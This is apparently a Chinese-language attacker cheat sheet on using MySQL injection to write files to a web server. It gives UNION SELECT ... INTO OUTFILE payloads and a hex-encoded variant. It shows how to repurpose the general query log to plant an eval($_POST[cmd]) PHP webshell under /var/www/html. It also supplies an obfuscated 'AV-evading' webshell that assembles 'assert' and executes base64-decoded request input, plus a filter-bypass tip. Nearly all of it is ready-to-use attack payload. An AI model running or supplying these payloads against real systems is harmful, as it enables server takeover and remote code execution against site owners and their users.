mysql注入写文件

select * from admin where id =-1 union select 1,'<?php phpinfo();?>',3,4 into outfile 'c://1.php'

select * from admin where id =-1 or 1=1 limit 0,1 INTO OUTFILE 'c:/2.php' LINES TERMINATED BY 0x3C3F70687020706870696E666F28293B3F3E--

3.通过数据库日志写shell
outfile被禁止，或者写入文件被拦截；

在数据库中操作如下：（必须是root权限）

show variables like '%general%';  #查看配置

set global general_log = on;  #开启general log模式

set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址

select '

<?php eval($_POST[cmd]);?>

'  #写入shell

SQL查询免杀shell的语句

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

4.遇见其他拦截用;过滤后面的语句

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